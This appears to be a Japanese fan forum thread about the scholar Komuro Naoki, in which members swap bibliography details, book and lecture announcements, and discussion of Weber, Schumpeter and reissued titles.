ハカセ 「ノッたところを写真にとられて、雑誌に載せられたんだよ。おまけに事後、そのオンナにインタビューして、センセーのはフニャチンだったとか書いておるのだ!週刊P誌のPはポンビキのPか。あれは週刊ポンビキか!訴えるゥ、告訴するゥ。そうだ、今から弁護士のところへ行ってくる(とヨロメキつつ立ち上がる。ヨロメキがお好きなのだ)。おい、ボクの靴はどこだ。探してくれーッ」
PB マ、マ、マッ。ハカセ、お出かけはオシャベリがすんでからとゆーことに……!
それから取材開始まで、実に30分を要した。
(以上、記事の冒頭部分を引用)文章を打ち込みながらなんだか、
このHPを立ち上げたころの自分を思い出しました。
では、また。
「ね、ちょっとお話しましょう」
の雰囲気に抗しきれなくなくなりました(笑)。ちょっとだけ、小室直樹「お色気」文献についてお話しましょう♪
小野寺さん。
気分転換、気分転換、と自分に言いきかせながら(笑)。
> 1987010がダントツになってますね。こりゃ、私の「誘い水」のせいですな。
ちょっと反省しています。>1983011、1984021も追い上げています。これをみて実際に国会図書館などにいってコピーをとる人がどのくらいいるでしょうかね。
これらの文献は掲載写真をみないと迫力が今ひとつ伝わりませんね(笑)。ほんとにそうですね。
でも迫力ありすぎです(笑)。あと、1984021については、これの詳細データ(といいながら、著作権の関係で目次くらいしか掲載してないですが。)を読んで、中身を誤解してはいけないところですね。
1984023『PB政治学博士』のハード・コア放談
小室直樹が独断する “ポスト中曽根”はこいつだ!↑これもあわせて読んでもらって、博士の名誉を回復しないと。
たしか「博士は怒っているんだゾーッ」の見出しの辺りでしたね。
後で、封印した小室直樹文献を開いて見てみましょう。この頃は週刊誌がアル中気味の小室直樹博士に対して、
お酒を飲ませて、酔った勢いで色々しゃべらせて、
おもしろおかしく記事にした時期ではないでしょうか。
副島先生も、どこかでそんなことをかかれてましたね。しかし、とにかくこの週刊ポスト@小学館の記事はヒドイ。
「この写真はコラージュじゃないか」と、思いませんでした?
ある意味、私がもっとも衝撃をうけた小室直樹文献ですね。
それに「君は象みたいに可愛い」ってねぇ…。
この記事、コピーを申し込むのにちょっと躊躇してしまう写真が載ってます。それに比べて、小室直樹博士の「ヤング大学」を連載なされた集英社はえらい!
さすが『痛快!憲法学』を出された、
集英社インターナショナルのシマジさんです。この頃の「週刊プレイボーイ」は、
たしか島地さんが編集長をされておられたはずですから。もっとも、かつてこの掲示板に書き込みなされた「シマジ」さんという人格の方は、島地さんとは別の方かもしれませんが(笑)。
そういやぁ、今東光和尚の本にもシマジさんが出てこられますよね。
あれも面白かったです。>もっとも私はリアルタイムで読んでましたが、今となってはこれらの女性たちはおばさんになっていますかね(笑)。
そうでしょうねぇ。
> でもこういう対談の中にこそ、本だけではわからない小室先生の考え方やお人柄がよくでていて楽しいですね。どんなときでも理論的で学問を忘れません。それでいてユーモアを忘れない。人間としても非常に魅力的でますます好きになります。
同感です。
酔っ払っていても変わることなく当時の社会状況を理論的に分析し解説されてますね。
また、酔っ払っているからこそ、通常ありえないユーモアで笑わせてくれますよね。
この辺りも、私が小室直樹文献収集にはまり込んだ所以かもしれません。
つよぽんさん>>P.S.はるか昔の論文にも、ちょっとシュンペーターについて述べた
>これは全然記憶にないです。1972001 p290の19)の一部を引用します。
「ただし、シュムペーター(J.A.Schumpeter)はワルラスの決定的重要性を見ぬいていた。彼の理論の静学的部分は、「数学ぬきのワルラス」と評されることによってもわかるように、本質的にワルラスと異なるものではない。彼の独創は動学的部分にある(くわしくは、大野忠男『シュムペーター体系研究』創文社、1971参照)が、これはパレートとは異なった意味での、ワルラス体系に対する社会的要因の投入と言えよう。」
村上さん1987010がダントツになってますね。1983011、1984021も追い上げています。これをみて実際に国会図書館などにいってコピーをとる人がどのくらいいるでしょうかね。
これらの文献は掲載写真をみないと迫力が今ひとつ伝わりませんね(笑)。もっとも私はリアルタイムで読んでましたが、今となってはこれらの女性たちはおばさんになっていますかね(笑)。
でもこういう対談の中にこそ、本だけではわからない小室先生の考え方やお人柄がよくでていて楽しいですね。どんなときでも理論的で学問を忘れません。それでいてユーモアを忘れない。人間としても非常に魅力的でますます好きになります。
小野寺さんお返事遅くなりました。通勤時間に「資本主義のための革新」を読んでいます。この本を読んでから別のシュンペーターの本を読もうと思います。>P.S.はるか昔の論文にも、ちょっとシュンペーターについて述べた
これは全然記憶にないです。
ありがとうございました。
村上さん、お久しぶりです。
ランキングおもしろいですね。1958001がトップというのもおもしろいですね。村上さんがいないと、小室文献の中のお色気文献についてお話しする相手がいないのでさびしいです。はやくもどってきてください。
小野寺さんはじめ皆さん、ごぶさたしておます。失踪してから、数ヶ月になります。
一部の方には、(多分)ご心配おかけしております。
今の気分は、森山直太郎「手紙」といったところでしょうか。
みんな、元気ですかーっ?こちらは、元気です。
ただ、元気は元気なんですが、
愛しの小室博士の本も読めず、勉強ばかりしているので、
最近はどうも欲求不満で…。あのですね、
法律関係の問題集や本を読んでいて、
「万効手形」とか、
「全部露出説・一部露出説」とか、
「裸の行為共同説」なーんて文字が出てくると、
妄想が膨らんで、
鼻息がフゥーッ…フゥーッ…なって、
全然集中できません。いけません。
とにかく欲求不満です。というわけで、
HPをいじって欲求を発散させていただきました。
なにが変わったかはTOPページからご覧下さい。作成途中、色々チェックが必要で、
そのため、一度カウントをリセットさせてもらったのですが、
消す前は黒木香との対談が結構人気でした。
やはり、というか、なんというか…。「黒木香」といえば、思い出します。
昔むかし、未成年のわたしにも、
優しく黙って貸してくれそうな、
小さなレンタルビデオ屋で、
勇気を振り絞って借りたAVの、
村西監督のあの独特な口調と、
黒木香の脇からはみ出たアレ。
……完全にトラウマです。
まぁ、そんなことはどうでもいいとして。改造に半日かかりましたが、
おかげさまで少しスッキリしました。
しばらく勉強に集中できそうです。
でも、改造の結果が気になって勉強できなくなったりして(笑)。では、また私が欲求不満になったころに、お会いできればと。
つよぽんさん、こんばんは。確認なんですが、「経済学をめぐる巨匠達を読んでシュンペーターに興味が湧きました」ということなのですが、小室先生が最初にシュンペーターについて詳しく書いた
2000004 『資本主義のための革新』
http://www.interq.or.jp/sun/atsun/komuro/1996-2000/2000004.htmlはお読みになっていらっしゃいますでしょうか。
「小室先生の本はだいたい読んでいる」ということなので、失礼かと思いますが、こちらの本の方が早くでておりましたので。ちなみにこの本の内容はCDとビデオになっております。P.S.はるか昔の論文にも、ちょっとシュンペーターについて述べたところがあると記憶しております。
経済学をめぐる巨匠達を読んでシュンペーターに興味が湧きました。インターネットで解説書捜してみたのですがどれがいいのかいまいちわかりません。小室先生の本はだいたい読んでいるレベルぐらいの知識で、(理解度が問題ですけど)読みこなせるシュンペーターの解説書はないでしょうか?よろしくお願い致します。
会員ではない方で、小室先生の講義だけをきく場合4,000円です。
それをカセット受講として申し込む場合は、
2,300円です。私は、とりあえずカセットで申し込みました。仕事が休めるようだったら、確認のうえ一般の受講をしようと思っています。
メールで問い合わせましたところ、次のような回答です。本来なら入会したうえで、1講座¥3000で受講できますが、どうしてもということだったら¥4000でということだそうです。
また、カセットでの受講は送料込み¥2300だそうです。
数々の情報提供ありがとうございます。
またなにか分かり次第、書き込ませていただきます。
井上さん、わっはっさん、児島高徳さん、情報ありがとうございます。問題は、横浜市民でなくとも会員になれるかですね。市民でなくてもよければ入会しようと思います。HPをみますと過去の講座では講義ごとにカセットテープの希望をとっていますが、これが会員でなくても購入できるかどうかも興味があるところです。
井上様小室先生の講演会は確かにあるようです。
ですが、会員にならないと受講できないもようです。
詳しくはリンク先をご参照ください。
井上様私も横浜市教育文化センターに電話しましたが、時間が遅く、土日は休みなので月曜日にならないと分からないとのこと
電話 045 671 3717
収容人数 524人
初めて書き込みいたします。
日々小室先生の書籍を愛読している者です。
4月14日(水)に、横浜市教育文化センターにて小室先生のご講演『イスラム教とキリスト教』があるらしいのですが、どなたか詳細を知っていましたら教えていただきたいと思います。
また、なにか情報が新たに分かりましたら、再度書き込みさせていただきます。
こんにちは、小山 みつね です。
「拉致問題ディベート」を見物してきました。そのときのメモ書きです。●小室直樹発言要旨 「拉致問題ディベート討論会」にて
1 拉致問題は今日の日本における最大の問題である。
(憲法13条の精神を説いたものと考へることが出来る 小山 注記)
2 30年間誰も問題にしてこなかつのは異常である。
(いかにジョンロックの精神が日本に根付いていなかつたかを説いたものと考へることが出来る 小山 注記)
3 素朴実証主義の弊害がひどい。このせゐで、日本人は仮説を立てて議論することが出来なくなつた。
4 素朴実証主義が、日本に、これほどはびこつてゐることは問題だ。先例が無い。昔の人、たとへば、司馬遷もプルタークもどんどん仮説を立てることを好んだ。『クレオパトラの鼻がもう少し低かったら、世界の歴史は変わっていただろう』(パスカル)のやうな例もある。
5ディベーター達は、法・軍事などさまざまな分野で、専門家をビビらせるに足る議論をしてゐる。(拍手)
(専門家が専門家ではないから、各人が専門家になるしかないといふことを説きたかつたと考へることができる。 小山注記)
以上。御無礼。
いよいよ今日はディベートの日ですね
そろそろ出ます私は岸田秀のファンページをやっています
良かったらよってくださいね
http://members.goo.ne.jp/home/kire
「新人物往来社」のサイトから貼り付けRC:小室先生のインタビューが、載っています。内容は、「宗教原論」の要約だと思います。
(貼り付け開始)
別冊歴史読本76号
世界に拡がる
ユダヤ・聖書伝説
好評発売中!
定価:1800円+税
(貼り付け終了)
確かウェーバーは宗教改革によって世俗化されたのではなく徹底的にキリスト教化されたみたいな主旨をいっていたとおもうんですが、それはつまり啓蒙思想や共産主義、フェミニズムも非聖書的であるけどもキリスト教文明の枠内で考えられるつまり言い方は悪いけれどもサタンの働きとみなせる!って考えられないでしょうか。
それと資本主義の発展に貢献したのはいわゆるカルヴァン直系の改革派教会の人達とともにそれ以上にカルヴァン主義パプテストの人達の力が大きかったのではないかと思います。
政教分離や信教の自由、個人主義の発展も後者の人達のおかげではないかなと感じます。
ウェーバー自身パプテスト教会のありかたこそ最高の宗教だ!といっているのも興味深いです。
管理者様、日本ディベート研究協会研究員の冨士邦彦と申します。
昨年の「東京裁判ディベート」「経済問題ディベート」に続き今回は
「拉致問題ディベート」に小室直樹先生が出席されます。
(これまでの様子はホームページをご覧下さい)
皆様にも、ぜひご参加くださいますようお願い申し上げます。■「拉致問題ディベート討論会」日本は拉致被害者を奪還できるか否か
・論題1「日本政府の拉致問題への対応は是か非か
・論題2「北朝鮮への経済制裁は是か非か」
・論題3「今後、三年以内に金正日政権は崩壊するか否か」
・論題4「日本は北朝鮮のミサイル攻撃を防ぐことができる否か」
・論題5「ミサイル発射の兆候段階での自衛隊の先制攻撃は憲法違反か否か」
(自衛隊は北朝鮮を殲滅する能力があるか否か)
・論題6「六カ国協議は拉致問題を解決できるか否か」
★日時 3月7日(日)12時開場
★場所 abc会館ホール
港区芝公園2の6の3・電話03(3436)5771
�‥埀鳥暗沈�「芝公園駅」A3出口 �■複辧嵒余渉�駅」徒歩10分
◆司会 日本ディベート研究協会「ディベート大学」主宰 北岡俊明
◆出演 日本を代表する第一級のディベーター・研究員30名による討論会。
テレビでよく見る「靴の上から足をかくようなかったるい討論」でなく本物
の討論、圧倒的なスピードと迫力と知的水準の高い、討論のプロフェショナル
をご高覧くださいませ。カルチャーショックを受けることを請負ます。■ご出席の場合
お電話・FAX等で、ご一報いただきましたら座席を予約し確保致します。
■主 催
日本ディベート研究協会
〒108-0074 東京都港区高輪3-25-35-702
電話03(3441)8120、 FAX03(3441)8393
こんにちは、小山 みつね です。『諸君』2004年3月号P.40
石破茂防衛庁長官が小室直樹著『日本人のためのイスラム原論』でイスラムの勉強をしてゐるとのこと。自衛隊のイラク派遣に備へてのことでせう。
よろしければ、参照されたし!
以上。御無礼。
PS.『マックス・ウェーバーの犯罪』のこと(児島高徳 さん・こばやしまさき さん へ)
『マックス・ウェーバーの犯罪』はただの考証学です。考証学は「こういう資料もあるがどうであらうか?」とて問題提起することはできます。しかし、「ウェーバーは学問犯罪者である」といふ全称判断を下すことはできません。
そんなことをしてゐたら、「羽入氏は、「倫理論文」の梶山訳・安藤編の一刷から引用せず二刷から引用して、一刷の誤訳をそのままにしてゐる。それは、ウェーバーの原文がおかしいやうに見せかけてウェーバーを貶めるための羽入氏の策略だ。いかにも知的不誠実である。よつて羽入論文はすべて誤りだ」といふやうな言いがかりも可能になります。(折原浩氏の「ウェーバー学のすすめ」の「一挿話」より)
「批判のための批判」「反論あれども対案なし」といふ旧社会党的スタイルは、そろそろ終りにいたしませう。
管理者様、失礼致します。
拉致問題に関するディベート討論会を下記の要領で行います。
ぜひとも、ご参加くださいますようお願い申し上げます。■「拉致問題ディベート討論会」日本は拉致被害者を奪還できるか否か
・論題1「日本政府の拉致問題への対応は是か非か
・論題2「北朝鮮への経済制裁は是か非か」
・論題3「今後、三年以内に金正日政権は崩壊するか否か」
・論題4「日本は北朝鮮のミサイル攻撃を防ぐことができる否か」
・論題5「ミサイル発射の兆候段階での自衛隊の先制攻撃は憲法違反か否か」
(自衛隊は北朝鮮を殲滅する能力があるか否か)
・論題6「六カ国協議は拉致問題を解決できるか否か」
★日時 3月7日(日)12時開場
★場所 abc会館ホール
港区芝公園2の6の3・電話03(3436)5771
�‥埀鳥暗沈�「芝公園駅」A3出口 �■複辧嵒余渉�駅」徒歩10分
◆司会 日本ディベート研究協会「ディベート大学」主宰 北岡俊明
◆出演 日本を代表する第一級のディベーター・研究員30名による討論会。
テレビでよく見る「靴の上から足をかくようなかったるい討論」でなく本物
の討論、圧倒的なスピードと迫力と知的水準の高い、討論のプロフェショナル
をご高覧くださいませ。カルチャーショックを受けることを請負ます。
■ご出席の場合
お電話・FAX等で、ご一報いただきましたら座席を予約し確保致します。
■主 催
日本ディベート研究協会
〒108-0074 東京都港区高輪3-25-35-702
電話03(3441)8120、 FAX03(3441)8393
小室先生は、こちらの賛同者に名を連ねていますね。
先生の動画は今のところないようですが。
もう御存知かも知れませんが、復刊ドットコムに小室直樹特集のページがあります。復刊ドットコムでリクエストが100件集まれば、実際に出版社との交渉をしてくれます。みんなでリクエストしましょう!
表紙と目次に「経済学をめぐる巨匠たち」がデザインされてました。
http://kei.diamond.co.jp/ではでは。
> [タイトル]地政学 アメリカの世界戦略地図
> [著者]奥山真司
> [該当個所]p168確認しました。該当箇所は、p168とp188ですね。発行は、2004.1.28。
>「アメリカン・ディストピア 21世紀の戦争とジャーナリズム」宮台真司・神保哲生共著 春秋社 2003年9月>目次で言うと「思考停止する日本」以下の下りで丸山真男教授に関する見出しのあたりです(確か260ページ以降だと思います)。
確認しました。p282,283,284-285,292です。2003年9月25日発行。
こんにちは、児島です。こばやしまさきさんにより、羽入辰郎著「マックス・ヴェーバーの犯罪」が紹介されましたので、今度は小生がその羽入本を批判する著作を紹介することでバランスをとろうかと。
折原浩著「ヴェーバー学のすすめ」未来社。
折原氏はマックス・ヴェーバーの研究の第一人者であり、「客観性論文」の翻訳もされています。
羽入氏の論述は文献学に偏りすぎているという観点から、羽入氏の著作に再論駁を行っているようです。
http://www.amazon.co.jp/exec/obidos/ASIN/4624400542/以上、ご参考まで。
お久しぶりです。日経ビジネスのメルマガで以下の本が紹介されてました。これを読みながら小室先生のことを思いだしてしまいました。引用始め
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
------■ 日経ビジネス Express ダイジェスト■----◇2004.02.02 月曜日◇-------
----------------------------------------------------------------------------
━━━━━━━━━ http://nb.nikkeibp.co.jp/ ━━━━━━━━━
<中略>━■谷口智彦の「地球鳥瞰」━━━━━━━━━━━━━━━━━━━━━━━━━
ウェーバーは嘘つきだったという世紀のスクープ
(1月23日発行のExpress Mailより)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━マックス・ウェーバーといえば文句なしにエライ学者で、それを祖述解釈考証
する学統が日本では山脈をなしている。1人の人間が一生の間に成就できる量をは
るかに凌駕する業績を残した巨人の前では、ひたすら頭を垂れることこそが求めら
れる学者像である。そんな暗黙の了解がある。ところがここに便所へ本を持ち込む癖の嫁さんがいて、ウェーバー学者になろ
うとしていた旦那に扉の向こうからこう叫んだ。「マックス・ウェーバー、ここで
嘘付いてるわよ」。出てきて言うには「今やってること無駄よ。止めなさい。…そ
れより資料集めよ。ウェーバーが使ったと言ってる資料を集めるのよ」――。羽入辰郎氏は昨年山本七平賞を取った著書『マックス・ヴェーバーの犯罪』巻
頭で、女房なる人のドスの一突きが世紀に残る発見へつながった事情を記している
(どういう「女房」なの?)。そこからして既に、巻おくあたわざる面白さだ。代表作中の代表作『プロテスタンティズムの倫理と資本主義の精神』について、
ウェーバーが使ったと称する資料をしらみつぶしに当たってみたら、驚くべきこ
とが次々判明した。▼資本主義の精神を説いた最重要部での欺まん
宗教改革を始めたルターがドイツ語訳した聖書に、勤労と神への献身を両方意
味する「ベルーフ」という言葉が史上初めて現れたとウェーバーは言う。それゆえ
「プロテスタンティズムの倫理」は初めから、カネ儲けに走る「資本主義の精神」
と不即不離なのだというわけで、同書の構成上最もカギとなる主張だ。ところがル
ター訳聖書の原典を、あきれたことにウェーバーは見ていなかった!そんな言葉など、ルター自身は全く使っていない。ベルーフという語を用いた
のは、ウェーバーの時代、これがルター訳聖書でございますと流布していた現代普
及版だった。それだけ見てルターをうんぬんしたウェーバーの行為は、羽入氏によ
れば「与謝野(晶子)源氏や谷崎(潤一郎)源氏をテキストとして用いて紫式部の
言葉遣いを研究することに等しい」あさっての方角を向いた仕業だったのに、「こ
れまで世界で誰一人として気づいてこなかった」。また「資本主義の精神」の権化みたいなアメリカ人ベンジャミン・フランクリ
ンが、ウェーバーの選んだケーススタディー対象だった。その自伝に、善をなすの
は儲けにつながるという趣旨の主張があり、このあけすけな信念をフランクリンは
神の「啓示」のようにして受け取ったとウェーバーは書いている。しかしそれに当
たる記述は自伝のどこを探してもない。またしてもこの驚くべき事実に、「ウェー
バー研究の世界はこれまで全く気づいてこなかったのである」。気づかなかったのはウェーバーがフランクリンの引用に際し、いかにも読者が
誤導されるよう意味を変える用語を勝手に加え、しかもフランクリン自伝のどの版、
どのページからの引用か、慎重にも口を閉ざしたままだったからである。▼一無名日本人学者の快挙
さらには学者たちの知的怠惰、臆病さである。
神格化され、無謬(むびゅう)と信じ込まれたマルクスやレーニンの偶像が地
に堕ちて久しい中、ウェーバーだけは尊敬に値する、しなければならない、残存す
る唯一の対象である。そう思って一生を費やした学者は日本に、そして世界中に何
百何千といる。この人たちを敵に回す勇気がないから、王様は裸だと誰も100年、
思い切って言えなかった。日本はもとより米国や英国でも、出る杭となって打たれ
ることを学者たちはみな恐れたのである。羽入氏に言えたのはひとえに、トイレで
ひらめくドエライドシロウトの奥さんがいたからだ。副題を「『倫理』論文における資料操作の詐術と『知的誠実性』の崩壊」とい
うこの本は、初めこれまた「女房」殿の指南によってドイツ語でドイツ専門誌に発
表され、ウェーバーの母国で一大センセーションを巻き起こしたという。100年見
破れなかった大家の怠慢と不実、故意の虚言を詳細極まる文献考証で明らかにする
壮大な偶像破壊の試みが、一無名日本人学者の手によって、ドイツ語によってなさ
れたというこの快挙。ドイツ人は単機で長躯突入したカミカゼに、国民的至宝を叩
き割られたみたいで愉快に思わなかったかもしれないが。▼なぜばれないと思ったのか
ウェーバーはどうしてこれほどあからさまな逸脱をし、羽入氏の言う通り学者
にあるまじき不誠実を働きながら、ばれないと思ったのだろう。そこにドイツ、そ
れも昔のドイツという、恐らくは外部世界と切れて存在していた言語空間のありよ
うが作用していなかっただろうか。大知識人が「アメリカ人の誰それはこうだ」と
言えば、読者はあえて自分で確かめようとはしない、翻訳輸入文化の風土である。
それはモラルハザード(倫理の欠如)を知識人に引き起こす。そしてウェーバーと
いえども、ドイツ人読者の誰彼を念頭にばれなければいいと思ってついた嘘が、ま
さか100年生き続けようとは思わなかっただろう。これほど時空を突き抜けた一大達成とその著者について、新聞雑誌データベー
ス「日経テレコン」で調べた限り、本邦メディアは今まで16件しか取り上げていな
い。青森県公務員である著者の、人事異動記事までかき集めてもである。そこで本
欄で、世紀のスクープとして大騒ぎしてやろうと思った次第。(谷口 智彦)
引用終わり
今回の文庫本と前の本をみくらべていたら、昔のカッパシリーズがなつかしくなりました。カッパとしては末期ではありますがやはりあのころの雰囲気が伝わります。
今回加筆だけでなく少し削っているところもあります。そんな中で小室節的ギャッグ(この本ではそんなに多くありませんが)を削っているところもあります。
p47後ろから3行目「ご理解いただけましたか?」という丁寧な表現がありますが、前の本だと「おわかりかな。お若いの。お若いの、だけじゃない。お中年の、おヨボヨボの。」
これはよく使っていたフレーズですが、最近の本にはこういう表現はまずありませんね。
昔のカッパの方がおもしろいという人がよくいますが、こういうところにも理由があるのでしょうね。
マニアックな話ですみません。私のような庶民読者はそういうところも楽しんでますので。管理人さんもこういう話好きだと思います。(笑)
レビューを確認する
経済学のエッセンス―日本経済破局の論理
小室 直樹 (著)レビューはこのように表示されます:
--------------------------------------------------------------------------------
= 一段とバァジョンアップされた最新の経済入門書
レビュアー: 直 神奈川県 Japan
この文庫本は、カッパブックスから一二年前に出版された『日本経済破局の論理 サムエルソン「経済学」の読み方』の加筆・修正の再編集本である。
旧版の目次は、まえがきー「複合不況」とサムエルソン『経済学』、第一章「複合不況」論はウソか真か、第二章ヒットラー奇跡の経済政策の教訓、第三章風が吹けば桶屋が儲かる経済学 であった。
新版の目次は、文庫版まえがき、序章文庫のための「平成大不況のエッセンス」、第一章バブル弾けの論理をとっくりと、第二章GNPを見つめよ、さらば汝、経済を悟るべし、第三章ヒットラーは如何にして完全雇用を実現したか、第四章風が吹けば、桶屋以外も儲かる恐ろしさ、第五章ケインズは死なず となっている。
確認できるように、序章は、この本の中の白眉であり、この間の一二年だけでなく、明治以来の日本経済史の総括が加筆されている部分である。このサイトを見ている人々なら、碩学の小室博士の総括だけに、ここだけでも、本屋で立ち読みする価値がある。
旧版の第三章は、新版では、第四章と第五章に分けられ、第五章は、旧版第三章の再後半部をふくらませるとともに、ケインズ政策を強行せよとの提言と個人を富ます貯蓄は全体を貧しくすると直言することをもって終わる。
旧版では、本文中にゴジック体のもじはなかったのに、新版では、核心部分は、ゴジック体で印字されている。心憎い工夫ではある。
とにかく一読の価値がある。
これまでの講談社の文庫になったものについて
2000001 『日本の敗因―歴史は勝つために学ぶ―』は、単なる文庫化で
2000005 『大東亜戦争、こうすれば勝てた』は、元の本を「改題、再編集」でしたが、今回は「大幅に加筆・修正、再編集」ですね。
すぐにわかるのは、序章と最後のところの加筆ですね。
お久しぶりです。YellowMagicです。
先日発売された本の中に、小室先生について書かれた個所を見つけました。
詳細は以下のとおりです。[タイトル]地政学 アメリカの世界戦略地図
[著者]奥山真司
[該当個所]p168
[詳細]小室直樹という博識な学者がいるが、日本の知識人の間では恐れられながらも、実は心底彼らから尊敬されている。なぜかというと理由は簡単で、経済理論や社会学などに関する深い知識に加えて、それ以上に中国古典や宗教、歴史に関する知識が膨大だからである。専門の知識だけでなく、それを幅広い古典などの例を挙げて縦横無尽に論じることができるというのは、洋の東西を問わず一番効果的である。それでは失礼します。
題名が副題になったのですね。http://product.esbooks.co.jp/product/keyword/keyword?accd=31313733
『小室直樹』 復刊特集ページ
http://www.fukkan.com/group/index.php3?no=1973小室先生の著作復刊にご協力をお願いします。
皆様こんにちは、児島です。関連文献の報告です。
[書名]聖書の常識 聖書の真実
[ 副題 ] 日本人は「旧約・新約」を誤解している
[ 著者 ] 山本七平
[ 分類 ] 単行本
[ 誌名・シリーズ名 ]
[ 号数 ]
[ 価格 ] 880円
[ 出版社 ] 講談社
[ 発行年月日 ] 1999年10月20日
[ 頁数・該当頁 ] 205頁
[ ISBN ] 4-06-256382-7マルキシズムの歴史観の背景のひとつとなっていることとして、旧約聖書の影響を小室先生が指摘しているとのことです。
1980年に講談社から出版された「聖書の常識」を改題して一部漫画を加えて、1999年に講談社+α文庫から出版されたものです。
以上です。
>橋爪大三郎さんが『永遠の吉本隆明』という新書を洋泉社から出しました。
>立ち読みしかしていないのですが、日本の社会学を論じているところに小室先生についての記述があります。
>http://kourou.s44.xrea.com/該当箇所確認しました。
ひとつはp111
もうひとつは
第4章吉本思想と橋爪社会学
2 社会学とはなんだろうか
の中の
「ヴィトゲンシュタイン・マルクス・レヴィ=ストロース・小室直樹」
p152-155
http://www.onweb.to/ken9/bbs/mibbs.cgi?mo=p&fo=soc&tn=0305
研究する人生
「政治学者小室直樹は何者?」
「経済学をめぐる巨匠たち」p265において、パーソンズが小室先生に「AGILはマトリクスで表されるとは、思ってもみなかったよ」といったというところがありますが、これについての文献は次のとおりです。1966003 構造機能分析と均衡分析―パースンズ枠組の発展的再構成へむかって― 社会学評論 日本社会学会 64 77-103
これには、英文での要約がありますが、英文の方がはっきりと書いてあります。
冒頭だけ引用します。Structural Functional Analysis and Equilibrium Analysis
-Toward a Reformation of the Parsonian Theory-The purposes of this paper are;
(1)To reformulate the AGIL format in terms of mathematical analysis.
(a)The parsonian format of the societal interchange system is represented in a matrix form. We can derive many theoretical advantages from this formulation.このレポートをそのままパーソンズに送ったのか、あるいは違うバージョンを送ったのかわかりませんが、後者だったらそのペーパーをみたいですね。さらにパーソンズの返信があればそれも。
あけましておめでとうございます。
本年もよろしくお願いいたします。http://www.taiyosha.co.jp/index.html
Books Index
「発売予定情報」
「文庫発売予定一覧」2004/01月分発売日・出版社順(リスト表示)によると
01/20 講談社 講談社+α文庫 日本経済破局の論理 -サムエルソン「経済学」の証明 小室直樹 \680となってました。
サブタイトルが少し変わっているようです。ではでは。
今年こそ村上さんが合格することを祈りつつ、未発見の小室直樹文献の収集に努めてまいりたいと思います。
よろしくお願いいたします。
久々の小室節炸裂。古典派経済学とケインズ経済学の対立図式がよく分かりました。「セイの法則」の重要な意味が繰り返し述べられていることに印象を持ちました。
マックス・ウェーバーの「プロティスタンティズムと資本主義の精神」の中での資本主義が産業革命期にのみ発生した理由を繰り返し説明している部分は重要です。
新しいと感じたのは、シュンペンターの解釈です。確かにシュンペーターについては、イノベーションと創造的破壊という言葉以外に知らないことが多いような気がします。大学でシュンペーターについて講義があったという記憶がありません。
更に、サムエルソン、高田保馬、川島武宣、森嶋通夫という小室ファミリーと言っても過言ではない人々が登場しています。
中でも、森嶋通夫先生の「思想としての近代経済学」(岩波新書、1993年)を度々引用しておられます。この本は、NHK人間大学の12回のテレビ講座のテキストを再編集した本です。当時、ビデオに録画しながら、見ていましたし、出版後はその本を何度も読み返した記憶があります。
最後に印象が残ったのは、小室先生の本の中にスティグリッツやマンキューの名前も出てきたことです。特に、私はホームページやメルマガでマンキューを研究しているので今後の小室先生のマンキューの取り上げ方に注目しています。http://homepage1.nifty.com/gujyo-economic-res/homepage/index.htm
皆様よいお年を!!
村上さんも体に気をつけてね。
小見出しの変更、グラフの追加、巻末の資料などの他、本文中では、ひらがなを漢字にしたり、連載の都合上説明していたところの調整など細かい修正がありますが、主な追加、修正は次のとおりです。
違っているところがありましたら教えてください。
特に断らなければページは追加部分です。「.」の次の数字は行目です。第1章
p20-p26
第2章
p31.3「学校で..」-p31.4
第3章
p41.6-p41.15
p45.15-p45.17
第4章
p57.8-p58.3
p59.11-p59.13
第5章
p67.7-p77
p78-p98 (「経」2002年9月号の最初からp20上段12行目までの修正を含む)
p103.1「ガードナー....」-p103.4
p105.14-p108.9
p110.4-p110.5
第6章
p119.2-p120.4
p127.9-p128.6
第7章
p150.8-p151.7
p162「マックス・ウェーバーの日本分析に関して」
第9章
p193.2-p193.10
第10章
p201.7-p204
p208.11-p211
第11章
p225.7-p225.17
p227.9-p228.10
p231.17-p232
第13章
p252.1-p252.8
p253.2-p260
第14章
p264.5-p265.8
p279.2-p281
第15章
p292-p311
我らが村上君、人生は七転八起、何があってもくじけず頑張れ!フレーフレー、ム・ラ・カ・ミー
村上さん本人以外考えられませんね(笑)
よかった。なおしてくださった方お世話様でした。これでまたアクセス増えるかな。
企画は進行しているけど、発行時期など詳細未定だそうです。
2003年9月30日
憲法講座やっていたのですね。
「経済学をめぐる巨匠たち」p214には1963年にはじめて会ったとありますね。
当HP「年譜」にもあるように、留学は1959-1963年ですから(62年帰国なんて記述もあるな?)、指導を受けたのは最後の年だけなんですかね。
http://www.interq.or.jp/sun/atsun/komuro/chronicle.htmということは1960年の論文とされる英文の経済学論文は、サムエルソンのところで書いたわけではないので、MITに残されている可能性は薄くなりましたね。
そういえば何年ごろがどの大学とか書いてある資料あったような...。
「経済学をめぐる巨匠たち」の巻末に「本書は月刊「経Kei」2001年11月号〜2003年10月号の.....」とありますが、アンコールとなった11月号までの誤りですね。
その2003年11月号の部分は、本書の第4章のうちp48-51の部分ですね。
明日届く予定なのですが、どうしても待ちきれなくて、昨日ちょっと大きめの書店にいってみたら、「(経の連載に)大幅に加筆」なんて書いてあったので、迷いがなくなり買ってしまいました。これはチェック用ということで2年間の経をひっくりかえして、違いを調べましたが、けっこういろいろ加筆したり修正したりしてますね。付箋だらけになってしまいました。1/8付けですから目録上は2004年の初文献になるでしょうね。
「小室直樹文献目録」からは開けませんでした。URLかわったのでしょうか。やっと新刊でましたね。
>先程は失礼しました。挨拶をしておりませんでした。いえいえ、こちらこそよろしくお願いします。
>(一応、掲示板でワード検索を掛けて出ていなかったので)
一般文献の目録にも「検索」機能があるのですが、関連文献目録にはありません。
>「アメリカン・ディストピア 21世紀の戦争とジャーナリズム」宮台真司・神保哲生共著 春秋社 2003年9月
この本はのっていませんね。
>どうしてもお金がなく、本は図書館で借りることが多いのですが、そのために正確なページをお知らせできずに申し訳なく思います。
私も関連文献の場合は、もったいないので最寄の図書館で調べてコピーします。そしてない場合はリクエストして、かってもらうなり他の図書館からまわしてもらっています。
これもリストにいれときます。
http://proxy.ymdb.yahoofs.jp/users/1599b793/
> 実は、持っています。小室先生がサムエルソンの弟子であることを知った貴重な1冊です。「複合不況」という言葉はブームになりましたね。それに大ベストセラーでした。
確か新書ででた「複合不況」を批判してましたかね。> 知名度から言って、商標登録しても面白いのでは?
それはおもしろいですね。
